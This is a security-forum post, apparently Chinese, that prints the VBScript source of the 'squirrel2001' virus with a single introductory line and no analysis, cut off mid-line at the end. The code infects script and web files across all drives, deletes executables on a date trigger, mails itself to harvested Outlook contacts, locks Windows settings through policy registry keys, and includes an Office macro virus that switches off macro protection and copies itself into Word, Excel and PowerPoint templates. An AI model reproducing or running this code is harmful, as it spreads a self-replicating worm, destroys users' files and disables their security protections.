标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-250] 作者: ecawen 发表于: [2017-08-06]
本文共 [936] 位读者顶过
这是squirrel离开苏睿暄小组之前的最后一只毒。 On Error Resume Next [出自:jiwo.org]Set igalgbinffy= Createobject("scripting.filesystemobject") Set rfqwdudwylf = CreateObject("WScript.Shell") main sub main() On Error Resume Next Dim known Set known = CreateObject("WScript.shell") If known.RegRead("HKEY_CURREN_USER\Squirrels2001", "devil29880") <> "die" Then macrovirus ircvirus mload else mload end sub Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject("Scriptlet.TypeLib") Set Oh = CreateObject("Shell.Application") If IsHTML Then mURL = LCase(document.Location) If mPath = "" Then Os.Reset Os.Path = "C:\squirrel2001.htm" Os.Doc = Lhtml() Os.Write() Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>" Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml) Else If Iv(mPath, "squirrel2001.vbs") Then setInterval "Rt()", 10000 Else m = "hta" If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout("mclose()", 1) main Else Os.Reset() Os.Path = mPath & "\" & "squirrel2001.hta" Os.Doc = Lhtml() Os.write() Iv mPath, "squirrel2001.hta" End If End If End If Else virusmain End If End Sub Sub virusmain() On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") Set Od = CreateObject("Scripting.Dictionary") Od.Add "html", "1100" Od.Add "vbs", "0100" Od.Add "htm", "1100" Od.Add "asp", "0010" Ks = "HKEY_CURRENT_USER\Software\" Ds = Grf() Cs = Gsf() If IsVbs Then If Of.FileExists("C:\squirrel2001.htm") Then Of.DeleteFile ("C:\squirrel2001.htm") End If Key = CInt(Month(Date) + Day(Date)) If Key = 10 Then Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001" End If if month(date)=9 then if day(date)=4 then joke end if end if Cn = Rg(Ks & "Help\Count") If Cn = "" Then Cn = 1 End If Rw Ks & "Help\Count", Cn + 1 f1 = Rg(Ks & "Help\FileName") f2 = FNext(Of, Od, f1) fext = GetExt(Of, Od, f2) Rw Ks & "Help\FileName", f2 If IsDel(fext) Then f3 = f2 f2 = FNext(Of, Od, f2) Rw Ks & "Help\FileName", f2 Of.DeleteFile f3 Else If LCase(WScript.ScriptFullname) <> LCase(f2) Then Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then Tsend Else adds = Og Msend (adds) End If End If wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then If wp = "" Then n1 = "" n3 = Cs & "\squirrel2001.htm" Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs & "\" & n2 & ".htm" End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa("1100") pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt pfc.Close Rw Ks & "Help\wallPaper", n3 Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3 End If Else Set fc = Of.CreateTextFile(Ds & "\squirrel2001.vbs", True) fc.Write Sa("0100") fc.Close bf = Cs & "\Untitled.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}" Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID") oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail" MSH = oe & "\Message Send HTML" CUS = oe & "\Compose Use Stationery" SN = oe & "\Stationery Name" Rw MSH, 1 Rw CUS, 1 Rw SN, bf Web = Cs & "\WEB" Set gf = Of.GetFolder(Web).Files Od.Add "htt", "1100" For Each m In gf fext = GetExt(Of, Od, m) If fext <> "" Then Fw Of, m, fext End If Next End If End Sub Sub mclose() document.Write "<" & "title>我爱你张一!</title" & ">" window.Close End Sub Sub Rt() Dim mPath On Error Resume Next mPath = Grf() Iv mPath, "squirrel2001.vbs" End Sub Function Sa(n) Dim VBSText, m VBSText = Lvbs() If Mid(n, 3, 1) = 1 Then m = "<%" & VBSText & "%>" End If If Mid(n, 2, 1) = 1 Then m = VBSText End If If Mid(n, 1, 1) = 1 Then m = Lscript(m) End If Sa = m & vbCrLf End Function Sub Fw(Of, S, n) Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) mt = fc.ReadAll fc.Close If Not Sc(mt) Then mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) fc2.Write mt fc2.Close Msend (mmail) End If End Sub Function Sc(S) mN = "Rem 我爱你张一" If InStr(S, mN) > 0 Then Sc = True Else Sc = False End If End Function Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = "" T = False If Of.FileExists(S) Then fpath = Of.GetFile(S).ParentFolder fname = S ElseIf Of.FolderExists(S) Then fpath = S T = True Else fpath = Dnext(Of, "") End If Do While True Set gf = Of.GetFolder(fpath).Files For Each m In gf If T Then If GetExt(Of, Od, m) <> "" Then FNext = m Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = "" Then T = True End If Next fpath = Pnext(Of, fpath) Loop End Function Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then Set gp = Of.GetFolder(S).SubFolders pn = gp.Count If pn = 0 Then Ppath = LCase(S) Npath = LCase(Of.GetParentFolderName(S)) T = True Else Npath = LCase(S) End If Do While Not Er For Each pn In Of.GetFolder(Npath).SubFolders If T Then If Ppath = LCase(pn) Then T = False End If Else Pnext = LCase(pn) Exit Function End If Next T = True Ppath = LCase(Npath) Npath = Of.GetParentFolderName(Npath) If Of.GetFolder(Ppath).IsRootFolder Then m = Of.GetDriveName(Ppath) Pnext = Dnext(Of, m) Exit Function End If Loop End If End Function Function Dnext(Of, S) Dim dc, n, d, T, m On Error Resume Next T = False m = "" Set dc = Of.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 Then If T Then Dnext = d Exit Function Else If LCase(S) = LCase(d) Then T = True End If If m = "" Then m = d End If End If End If Next Dnext = m End Function Function GetExt(Of, Od, S) Dim fext On Error Resume Next fext = LCase(Of.GetExtensionName(S)) GetExt = Od.Item(fext) End Function Sub Rw(k, v) Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") R.RegWrite k, v End Sub Function Rg(v) Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") Rg = R.RegRead(v) End Function Function IsVbs() Dim ErrTest On Error Resume Next ErrTest = WScript.ScriptFullname If Err Then IsVbs = False Else IsVbs = True End If End Function Function IsHTML() Dim ErrTest On Error Resume Next ErrTest = document.Location If Er Then IsHTML = False Else IsHTML = True End If End Function Function IsMail(S) Dim m1, m2 IsMail = False If InStr(S, vbCrLf) = 0 Then m1 = InStr(S, "@") m2 = InStr(S, ".") If m1 <> 0 And m1 < m2 Then IsMail = True End If End If End Function Function Lvbs() Dim f, m, ws, Of On Error Resume Next If IsVbs Then Set Of = CreateObject("Scripting.FileSystemObject") Set f = Of.OpenTextFile(WScript.ScriptFullname, 1) Lvbs = f.ReadAll Else For Each ws In document.scripts If LCase(ws.Language) = "vbscript" Then If Sc(ws.Text) Then Lvbs = ws.Text Exit Function End If End If Next End If End Function Function Iv(mPath, mName) Dim Shell On Error Resume Next Set Shell = CreateObject("Shell.Application") Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb If Er Then Iv = False Else Iv = True End If End Function Function Grf() Dim Shell, mPath On Error Resume Next Set Shell = CreateObject("Shell.Application") mPath = "C:\" For Each mShell In Shell.NameSpace(mPath).Items If mShell.IsFolder Then Grf = mShell.Path Exit Function End If Next If Er Then Grf = "" End If End Function Function Gsf() Dim Of, m On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") m = Of.GetSpecialFolder(0) If Er Then Gsf = "C:\" Else Gsf = m End If End Function Function Lhtml() Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _ "<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _ "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ "<" & "/Body></HTML" & ">" End Function Function Lscript(S) Lscript = "<" & "script language='VBScript'>" & vbCrLf & _ S & "<" & "/script" & ">" End Function Function Sl(S1, S2, n) Dim l1, l2, l3, i l1 = Len(S1) l2 = Len(S2) i = InStr(S1, S2) If i > 0 Then l3 = i + l2 - 1 If n = 0 Then Sl = Left(S1, i - 1) ElseIf n = 1 Then Sl = Right(S1, l1 - l3) End If Else Sl = "" End If End Function Function Ml(S) Dim S1, S3, S2, T, adds, m S1 = S S3 = """" adds = "" S2 = S3 & "mailto" & ":" T = True Do While T S1 = Sl(S1, S2, 1) If S1 = "" Then T = False Else m = Sl(S1, S3, 0) If IsMail(m) Then adds = adds & m & vbCrLf End If End If Loop Ml = Split(adds, vbCrLf) End Function Function Og() Dim i, n, m(), Om, Oo Set Oo = CreateObject("Outlook.Application") Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items n = Om.Count ReDim m(n) For i = 1 To n m(i - 1) = Om.Item(i).Email1Address Next Og = m End Function Sub Tsend() Dim Od, MS, MM, a, m Set Od = CreateObject("Scripting.Dictionary") MConnect MS, MM MM.FetchSorted = True MM.Fetch For i = 0 To MM.MsgCount - 1 MM.MsgIndex = i a = MM.MsgOrigAddress If Od.Item(a) = "" Then Od.Item(a) = MM.MsgSubject End If Next For Each m In Od.Keys MM.Compose MM.MsgSubject = "Fw: " & Od.Item(m) MM.RecipAddress = m MM.AttachmentPathName = Gsf & "\Untitled.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}" MM.Send Next MS.SignOff End Sub Function MConnect(MS, MM) Dim U On Error Resume Next Set MS = CreateObject("MSMAPI.MAPISession") Set MM = CreateObject("MSMAPI.MAPIMessages") U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile") MS.UserName = U MS.DownLoadMail = False MS.NewSession = False MS.LogonUI = True MS.SignOn MM.SessionID = MS.SessionID End Function Sub Msend(Address) Dim MS, MM, i, a MConnect MS, MM i = 0 MM.Compose For Each a In Address If IsMail(a) Then MM.RecipIndex = i MM.RecipAddress = a i = i + 1 End If Next MM.MsgSubject = " Help " MM.AttachmentPathName = Gsf & "\Untitled.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}" MM.Send MS.SignOff End Sub Function Er() If Err.Number = 0 Then Er = False Else Err.Clear Er = True End If End Function Function IsDel(S) If Mid(S, 4, 1) = 1 Then IsDel = True Else IsDel = False End If End Function sub joke() dim snow set snow=CreateObject("WScript.Shell") snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoFind",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoRun",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoLogOff",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoClose",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoSetFolders",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoFavoritesMenu",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoStartBanner",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoFolderOptions",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoSetActiveDescktop",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoWindowsUpdate",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoTrayContextMenu",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDevMgrPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoConfigPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoFileSysPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoVirtMemPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispCPL",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispBackgroundPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispscrsavPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispAppearancePage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoDispSettingsPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoSecCPL",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoPwdPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoAdminPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\System\NoProfilePage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoComponents",1,"REG_DWORD" snow.regwrite" HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoAddingComponents ",1,"REG_DWORD" snow.regwrite" HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoDeletingComponen ts",1,"REG_DWORD" snow.regwrite" HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoEditingComponent s",1,"REG_DWORD" snow.regwrite" HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\ActiveDesktop\NoClosingComponent s",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoNetSetup",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoNetSetupIDPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoNetSetupSecurityPage",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoFileSharingControl",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoEntireNetwork",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Network\NoWorkgroupContents",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoPrinters",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoAddPrinter",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoDeletePrinter",1,"REG_DWORD" snow.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVesion\Policies\Explorer\NoPrinterTab",1,"REG_DWORD" snow.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","I MISS YOU" snow.regwrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","难道真是昨夜星辰昨夜风,此情可待成追忆了吗?一切都仿佛发生在昨天!你好吗?我只是想知道你还好吗。" snow.regwrite"hkey_local_machine\system\currentcontrolset\services\i8042prt\prameters\crashonctrlscroll","1234" snow.sendkeys"^{scolllock}{scolllock}" dim loveme loveme="忆自学校三摩,获亲尘诲,别后山川间隔,时序频迁。 尘封往事,历历在目,提起笔,却无从写起。。。 轻轻推窗而望,夜人静,唯有晚风摇动一树相思。。。 其实,感情的某些片刻,并不比精心设计小说情节逊色。 从认识你的那一天开始,我的世界便开始了漫长的等待,为一种没有结束的等待而等待。 然而,注定我们都是流浪的心 注定我们都没有相交的轨迹 我奔你而来 在灿烂的星河中 寻找你的星座 追踪你的声音 我气喘吁吁却心甘情愿做一抹色彩 涂上你的生命 让我面目全非的芳龄真诚而坦白 我想不出你风尘仆仆的模样 想不出的黑夜里 你会乘哪一叶孤帆而至 那疲倦的身影是风浪雕塑的男人 潇洒的黑发漂拂着你坎坷的经历 我愿永远站在这命运的立交桥上 作无约无期的等待 在纵横交错的手纹里 找出同向你的路口 这一切 都满含着我的心愿 我因此而孤立无援 我不在乎我凄凉的等待 除了你 我别无选择 除了你我不会跨入那道栅栏 我会是风雪中那棵固执的寒梅 看你遥遥无期 而我依然守着冬天 然而,现实是那样残酷。 我可以忘却一个名字, 却忘却不了一种情感, 你的偶然的光亮,照彻了我久久等待后的枉然。 我的淡淡的忧伤,因你的照耀而升起一圈光轮。 不认识你多好,既无痛苦也无烦恼,认识你更好,宁可痛苦也宁可烦恼。 既然你要让火山沉默,那就让它沉默, 但沉默并不是死亡, 我知道,这不过是等待下一次喷发。。。 如果你不爱我,愿上帝祝福你,如果你还爱我,让上帝一千倍祝福你 让我们好聚好散,彼此道一声珍重。 如果有一天,我们不再挥霍所拥有的一切,不再为所失去的惋惜,那我们就学会了珍惜, 但一切都太晚了。 聚也不是开始,散也不是结束。 然而,我们今天只能说: 无法拒绝的是开始 无法抗拒的是结束 你我之间是该结束了。 大约在冬天,我得走远, 丧失我,像火舌吞过的原始森林, 留下烧焦的空气给你, 所有的们都从原来的地方迁走,你也没了钥匙。 幸亏时间可以改变一切。 任何痛苦和欢乐都可以在时间的推移中找到最后的归宿, 任何难题和疑虑也都可以在岁月的流逝中得到圆满的答案。 看完信,也许你就在也见不到我了,想见我一面道一声珍重的机会好象也没有了。 再次伫立窗前,却发现岁月匆匆,昔日那生动的梦境竟如残叶在心中的湖泊中飘零。 无名瀑独斟你的名字, 酿千年的烈酒品你的名字, 我抚摩着你的名字流泪。。。 署名:一方无法融化你的孤傲的天空" msgbox "致张一:"&loveme snow.minimizeall end sub sub macrovirus() dim viruscaurse,macroset,nt,txtff,fsys,la la=1 viruscaurse="'<!--Squirrel--> Private Sub Document_Open() On Error Resume Next Dim file$ Dim ans$ Dim test Dim mItem Dim cItem Dim aDoc Dim aTemp Dim vset Dim Iset Dim ads Options.VirusProtection = False Options.ConfirmConversions = False Options.SaveNormalPrompt = False Application.ShowVisualBasicEditor = False If System.PrivateProfileString('', 'HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\word\security', 'level') <> '' Then CommandBars('Macro').Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY-CURRENT-USER\Software\Microsoft\Office\9.0\word\security", "level") = 1& Else CommmandBars("Tools").Controls("Macro...").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If For Each mItem In CommandBars("Tools").Controls If mItem.Caption = "自定义(C)..." Then mItem.OnAction = "AutoClose" End If If mItem.Caption = "模板和加载(I)..." Then mItem.OnAction = "AutoClose" End If If mItem.Caption = "选项(O)..." Then mItem.OnAction = "AutoClose" End If Next mItem For Each cItem In CommandBars("Tools").Controls If cItem.Type = msoControlPopup Then If cItem.Caption = "宏(M)" Then For Each mItem In cItem.CommandBars.Controls If mItem.Caption = "宏(M)..." Then mItem.OnAction = "AutoClose" End If If mItem.Caption = "Visual Basci 编辑器(V)" Then mItem.OnAction = "AutoClose" End If Next mItem End If End If Next cItem For Each cItem In CommandBars("Visual Basic").Controls cItem.OnAction = "AutoClose" Next cItem For Each cItem In CommandBars If cItem.Visible = True Then 屏蔽按钮自定义 cItem.Protection = msoBarNoCustomize End If Next cItem If ads.Name = "Autoexec.dot" Then 看看autoexec.dot是否加载 ads.Installed = False End If Next ads With Dialogs(wdDialogToolsOptionsFileLocations) .Path = "STARTUP-PATH" .Setting = "c:\" .Execute 把起始目录指向C:\ 以便加载autoexec.dot End With file$ = WordBasic.[MacroFileName$]() If InStr(file$, "Autoexec") <> 0 Then For Each aDoc In Documents For Each cItem In aDoc.VBProject.VBComponents If (cItem.Name = "Squirrel") Then vset = 1 End If Next cItem Next aDoc For Each cItem In NormalTemplate.VBProject.VBComponents 该查Normal模板了 If (cItem.Name = "Squirrel") Then vset = 1 End If Next cItem If vset <> 1 Then WordBasic.DisableAutoMacros 准备感染,关掉自动宏选项 Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False For Each aDoc In Documents If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then WordBasic.MacroCopy ActiveDocument.FullName + ":Squirrel", aDoc.FullName + ":Squirrel" 创建C:\autoexec.dot模板,并将病毒复制过去 End If Next aDoc For Each aTemp In Templates If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then WordBasic.MacroCopy ActiveDocument.FullName + ":Squirrel", aTemp.FullName + ":Squirrel" End If Next aTemp ActiveDocument.Save ActiveDocument.Close End If If vset = 1 Then GoTo out End If End If With Application.FileSearch 如果打开的文件不是autoexec.dot ,则自己找 .LookIn = "C:\" .FileName = "Autoexec.dot" If .Execute > 0 Then Iset = 1 End If End With If Iset <> 1 Then WordBasic.DisableAutoMacros Documents.Add NewTemplate:=True WordBasic.MacroCopy file$ + ":Squirrel", ActiveDocument.FullName + ":Squirrel" ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False ActiveDocument.Close End If For Each aDoc In Documents If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then For Each cItem In aDoc.VBProject.VBComponents If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then aDoc.VBProject.VBComponents.Remove (cItem) End If Next cItem End If Next aDoc For Each aTemp In Templates If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then For Each cItem In aTemp.VBProject.VBComponents If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then aTemp.VBProject.VBComponents.Remove (cItem) End If Next cItem Set NT = NormalTemplate.VBProject.vbcomponents(1).CodeModule Set TT = Templates(1).VBProject.vbcomponents(1).CodeModule Set AD = ActiveDocument.VBProject.vbcomponents(1).CodeModule If AD.Lines(1, 1) <> "'<!--Squirrel-->" Then AD.DeleteLines 1, AD.CountofLines AD.InsertLines 1, TT.Lines(1, TT.CountofLines) If AD.Lines(1, 1) <> "'<!--Squirrel-->" Then AD.InsertLines 1, NT.Lines(1, NT.CountofLines) End If End If If NT.Lines(1, 1) <> "'<!--Squirrel-->" Then NT.DeleteLines 1, NT.CountofLines NT.InsertLines 1, AD.Lines(1, AD.CountofLines) end if Set xlApp = CreateObject("Excel.Application") If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Microsoft Excel", "Options6") = "Check" System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\9.0\New User Settings\Excel\Microsoft Excel", "Options6") = "" System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\9.0\Excel\Microsoft Excel", "Options6") = "Whoa" Set Book1Obj = xlApp.Workbooks.Add Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines) Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1." Book1Obj.Close End If xlApp.Quit Set PPObj = CreateObject("PowerPoint.Application") Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse) For Each ModComponent In PBT.VBProject.vbcomponents If ModComponent.Name = "Squirrel" Then dontadd = True Next If dontadd <> True Then System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\PowerPoint\Options", "MacroVirusProtection") = "" System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\9.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = "" System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\9.0\PowerPoint\Options", "MacroVirusProtection") = "" Set NewMod = PBT.VBProject.vbcomponents.Add(1) NewMod.Name = "Squirrel" NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines) NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)" Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight) With ShapetoWack .Name = "Squirrel" .ZOrder (1) .Line.Visible = False .Fill.Visible = False .ActionSettings(1).Action = 8 .ActionSettings(1).Run = "actionhook" End With Set NewMod = Nothing PBT.Save End If PBT.Close PPObj.Quit End If If TT.Lines(1, 1) <> "'<!--Squirrel-->" Then TT.DeleteLines 1, TT.CountofLines TT.InsertLines 1, NT.Lines(1, NT.CountofLines) End If call killyou End Sub Private Sub Workbook_Deactivate() On Error Resume Next Set AW = ActiveWorkbook.VBProject.vbcomponents("ThisWorkbook").CodeModule Set TW = ThisWorkbook.VBProject.vbcomponents("ThisWorkbook").CodeModule If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then Set WordObj = GetObject(, "Word.Application") If WordObj = "" Then Set WordObj = CreateObject("Word.Application") WQuit = True End If Set NT = WordObj.NormalTemplate.VBProject.vbcomponents(1).CodeModule WordObj.Options.SaveNormalPrompt = False NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + TW.Lines(23, 3) + Chr(13) + Chr(10) + TW.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub" WordObj.Run "Normal.ThisDocument.DisableAV" NT.DeleteLines 1, NT.CountofLines NT.InsertLines 1, TW.Lines(1, TW.CountofLines) Set NT = Nothing If WQuit = True Then WordObj.Quit Set PPObj = CreateObject("PowerPoint.Application") Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse) For Each ModComponent In PBT.VBProject.vbcomponents If ModComponent.Name = "Squirrel" Then dontadd = True Next If dontadd <> True Then Set NewMod = PBT.VBProject.vbcomponents.Add(1) NewMod.Name = "Squirrel" NewMod.CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines) NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)" Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight) With ShapetoWack .Name = "Squirrel" .ZOrder (1) .Line.Visible = False .Fill.Visible = False .ActionSettings(1).Action = 8 .ActionSettings(1).Run = "actionhook" End With Set NewMod = Nothing PBT.Save End If PBT.Close PPObj.Quit Set xlApp = CreateObject("Excel.Application") Set Book1Obj = xlApp.Workbooks.Add Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines) Book1Obj.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False Book1Obj.Close xlApp.Quit End If If AW.Lines(1, 1) <> "'<!--Squirrel-->" Then AW.InsertLines 1, TW.Lines(1, TW.CountofLines) End If call killyou End Sub Private Sub actionhook(tristate) On Error Resume Next If Int(Rnd * 7) = 0 Then Set Home = ActivePresentation If UCase(Dir(Application.Path + "\Xlstart\Book1.")) <> UCase("BOOK1") Then Set WordObj = GetObject(, "Word.Application") If WordObj = "" Then Set WordObj = CreateObject("Word.Application") WQuit = True End If Set NT = WordObj.NormalTemplate.VBProject.vbcomponents(1).CodeModule WordObj.Options.SaveNormalPrompt = False NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(23, 3) + Chr(13) + Chr(10) + 